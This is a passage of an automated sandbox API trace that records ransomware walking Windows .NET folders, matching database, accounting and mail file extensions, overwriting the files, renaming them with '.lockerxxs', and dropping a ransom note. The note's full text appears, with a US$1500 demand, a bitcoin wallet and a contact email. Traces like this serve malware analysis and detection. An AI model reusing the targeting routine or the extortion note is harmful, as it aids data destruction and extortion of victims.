returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\Tracking_Logic.sql.lockerxxs" [0136.880] CreateFileA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\Tracking_Logic.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v3.0\\windows workflow foundation\\sql\\en\\tracking_logic.sql"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x98 [0136.881] GetFileSize (in: hFile=0x98, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x5d2a4 [0136.881] GetFileTime (in: hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x1ea1accb, dwHighDateTime=0x1cbf8ea), lpLastAccessTime=0x407536*(dwLowDateTime=0x1a8cc445, dwHighDateTime=0x1cbf8ea), lpLastWriteTime=0x40753e*(dwLowDateTime=0x1a8cc445, dwHighDateTime=0x1cbf8ea)) returned 1 [0136.882] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0136.882] ReadFile (in: hFile=0x98, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x5d27e, lpOverlapped=0x0) returned 1 [0136.888] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\Tracking_Logic.sql") returned="Tracking_Logic.sql" [0136.892] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0136.892] WriteFile (in: hFile=0x98, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x5d27e, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x5d27e, lpOverlapped=0x0) returned 1 [0136.893] SetFileTime (hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0136.893] CloseHandle (hObject=0x98) returned 1 [0136.894] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\Tracking_Logic.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v3.0\\windows workflow foundation\\sql\\en\\tracking_logic.sql"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\Tracking_Logic.sql.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework\\v3.0\\windows workflow foundation\\sql\\en\\tracking_logic.sql.lockerxxs")) returned 1 [0136.895] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ea1accb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1a8cc445, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1a8cc445, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc66e, dwReserved0=0xce0001cf, dwReserved1=0x4e00c4, cFileName="Tracking_Schema.sql", cAlternateFileName="TRACKI~1.SQL")) returned 1 [0136.895] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0136.895] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Tracking_Schema.sql") returned -1 [0136.895] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Tracking_Schema.sql") returned -1 [0136.895] lstrcmpiA (lpString1="", lpString2="Tracking_Schema.sql") returned -1 [0136.895] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\Tracking_Logic.sql") returned="Tracking_Logic.sql" [0136.895] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\" [0136.895] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\") returned="" [0136.895] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\HOW TO DECRYPT FILES.txt" [0136.895] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v3.0\\windows workflow foundation\\sql\\en\\how to decrypt files.txt")) returned 0x20 [0136.895] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\", lpString2="Tracking_Schema.sql" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\Tracking_Schema.sql") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\Tracking_Schema.sql" [0136.895] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\Tracking_Schema.sql", pszSpec="*.ems") returned 0 [0136.895] lstrlenA (lpString="*.ems") returned 5 [0136.895] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\Tracking_Schema.sql", pszSpec="*.db") returned 0 [0136.895] lstrlenA (lpString="*.db") returned 4 [0136.895] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\Tracking_Schema.sql", pszSpec="*.dbf") returned 0 [0136.895] lstrlenA (lpString="*.dbf") returned 5 [0136.895] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\Tracking_Schema.sql", pszSpec="*.myox") returned 0 [0136.895] lstrlenA (lpString="*.myox") returned 6 [0136.895] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\Tracking_Schema.sql", pszSpec="*.myo") returned 0 [0136.895] lstrlenA (lpString="*.myo") returned 5 [0136.895] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\Tracking_Schema.sql", pszSpec="*.qbw") returned 0 [0136.895] lstrlenA (lpString="*.qbw") returned 5 [0136.896] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\Tracking_Schema.sql", pszSpec="*.qbb") returned 0 [0136.896] lstrlenA (lpString="*.qbb") returned 5 [0136.896] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\Tracking_Schema.sql", pszSpec="*.qbm") returned 0 [0136.896] lstrlenA (lpString="*.qbm") returned 5 [0136.896] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\Tracking_Schema.sql", pszSpec="*.qbo") returned 0 [0136.896] lstrlenA (lpString="*.qbo") returned 5 [0136.896] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\Tracking_Schema.sql", pszSpec="*.qbx") returned 0 [0136.896] lstrlenA (lpString="*.qbx") returned 5 [0136.896] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\Tracking_Schema.sql", pszSpec="*.qba") returned 0 [0136.896] lstrlenA (lpString="*.qba") returned 5 [0136.896] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\Tracking_Schema.sql", pszSpec="*.qby") returned 0 [0136.896] lstrlenA (lpString="*.qby") returned 5 [0136.896] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\Tracking_Schema.sql", pszSpec="*.qbj") returned 0 [0136.896] lstrlenA (lpString="*.qbj") returned 5 [0136.896] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\Tracking_Schema.sql", pszSpec="*.ofx") returned 0 [0136.896] lstrlenA (lpString="*.ofx") returned 5 [0136.896] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\Tracking_Schema.sql", pszSpec="*.qif") returned 0 [0136.896] lstrlenA (lpString="*.qif") returned 5 [0136.896] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\Tracking_Schema.sql", pszSpec="*.mye") returned 0 [0136.896] lstrlenA (lpString="*.mye") returned 5 [0136.896] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\Tracking_Schema.sql", pszSpec="*.mbox") returned 0 [0136.896] lstrlenA (lpString="*.mbox") returned 6 [0136.896] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\Tracking_Schema.sql", pszSpec="*.eml") returned 0 [0136.896] lstrlenA (lpString="*.eml") returned 5 [0136.896] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\Tracking_Schema.sql", pszSpec="*.pst") returned 0 [0136.896] lstrlenA (lpString="*.pst") returned 5 [0136.896] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\Tracking_Schema.sql", pszSpec="*.ost") returned 0 [0136.896] lstrlenA (lpString="*.ost") returned 5 [0136.896] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\Tracking_Schema.sql", pszSpec="*.idx") returned 0 [0136.897] lstrlenA (lpString="*.idx") returned 5 [0136.897] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\Tracking_Schema.sql", pszSpec="*.dbx") returned 0 [0136.897] lstrlenA (lpString="*.dbx") returned 5 [0136.897] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\Tracking_Schema.sql", pszSpec="*.sql") returned 1 [0136.897] lstrlenA (lpString="*.sql") returned 5 [0136.897] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\Tracking_Schema.sql" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\Tracking_Schema.sql") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\Tracking_Schema.sql" [0136.897] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\Tracking_Schema.sql" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\Tracking_Schema.sql") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\Tracking_Schema.sql" [0136.897] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\Tracking_Schema.sql", lpString2="." | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\Tracking_Schema.sql.") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\Tracking_Schema.sql." [0136.897] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\Tracking_Schema.sql.", lpString2="lockerxxs" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\Tracking_Schema.sql.lockerxxs") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\Tracking_Schema.sql.lockerxxs" [0136.897] CreateFileA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\Tracking_Schema.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v3.0\\windows workflow foundation\\sql\\en\\tracking_schema.sql"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x98 [0136.898] GetFileSize (in: hFile=0x98, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xc66e [0136.898] GetFileTime (in: hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x1ea1accb, dwHighDateTime=0x1cbf8ea), lpLastAccessTime=0x407536*(dwLowDateTime=0x1a8cc445, dwHighDateTime=0x1cbf8ea), lpLastWriteTime=0x40753e*(dwLowDateTime=0x1a8cc445, dwHighDateTime=0x1cbf8ea)) returned 1 [0136.898] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0136.898] ReadFile (in: hFile=0x98, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0xc648, lpOverlapped=0x0) returned 1 [0136.900] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\Tracking_Schema.sql") returned="Tracking_Schema.sql" [0136.900] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0136.900] WriteFile (in: hFile=0x98, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0xc648, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0xc648, lpOverlapped=0x0) returned 1 [0136.901] SetFileTime (hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0136.901] CloseHandle (hObject=0x98) returned 1 [0136.901] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\Tracking_Schema.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v3.0\\windows workflow foundation\\sql\\en\\tracking_schema.sql"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\Tracking_Schema.sql.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework\\v3.0\\windows workflow foundation\\sql\\en\\tracking_schema.sql.lockerxxs")) returned 1 [0136.902] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ea1accb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1a8cc445, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1a8cc445, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc66e, dwReserved0=0xce0001cf, dwReserved1=0x4e00c4, cFileName="Tracking_Schema.sql", cAlternateFileName="TRACKI~1.SQL")) returned 0 [0136.902] FindClose (in: hFindFile=0x502698 | out: hFindFile=0x502698) returned 1 [0136.902] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea1accb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1ea1accb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="en", cAlternateFileName="")) returned 0 [0136.902] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0136.902] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea1accb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1ea1accb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="SQL", cAlternateFileName="")) returned 0 [0136.902] FindClose (in: hFindFile=0x502518 | out: hFindFile=0x502518) returned 1 [0136.902] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea1accb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x690057, dwReserved1=0x64006e, cFileName="WPF", cAlternateFileName="")) returned 1 [0136.902] lstrcmpA (lpString1=".", lpString2="WPF") returned -1 [0136.902] lstrcmpA (lpString1="..", lpString2="WPF") returned -1 [0136.902] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\*.*") returned="*.*" [0136.903] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\", lpString2="WPF" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF" [0136.903] lstrlenA (lpString="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF") returned 43 [0136.903] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea1accb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x510053, dwReserved1=0x4c, cFileName=".", cAlternateFileName="")) returned 0x502518 [0136.904] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0136.904] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea1accb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0136.905] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0136.905] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0136.905] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9f4a12, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a5e242, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0136.905] lstrcmpA (lpString1=".", lpString2="en-US") returned -1 [0136.905] lstrcmpA (lpString1="..", lpString2="en-US") returned -1 [0136.905] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\*.*") returned="*.*" [0136.905] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\", lpString2="en-US" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US" [0136.905] lstrlenA (lpString="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US") returned 49 [0136.905] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9f4a12, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a5e242, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0136.905] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0136.905] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9f4a12, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a5e242, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0136.905] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0136.905] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0136.905] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe136d4, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe136d4, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x12770, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="PresentationHostDLL.dll.mui", cAlternateFileName="")) returned 1 [0136.905] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0136.905] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PresentationHostDLL.dll.mui") returned -1 [0136.905] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PresentationHostDLL.dll.mui") returned -1 [0136.905] lstrcmpiA (lpString1="", lpString2="PresentationHostDLL.dll.mui") returned -1 [0136.906] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\*.*") returned="*.*" [0136.906] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\" [0136.906] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\") returned="" [0136.906] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\HOW TO DECRYPT FILES.txt" [0136.906] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v3.0\\wpf\\en-us\\how to decrypt files.txt")) returned 0xffffffff [0136.906] CreateFileA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v3.0\\wpf\\en-us\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0136.907] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0136.907] WriteFile (in: hFile=0x94, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0136.908] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0136.908] CloseHandle (hObject=0x94) returned 1 [0136.908] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\", lpString2="PresentationHostDLL.dll.mui" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\PresentationHostDLL.dll.mui") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\PresentationHostDLL.dll.mui" [0136.908] 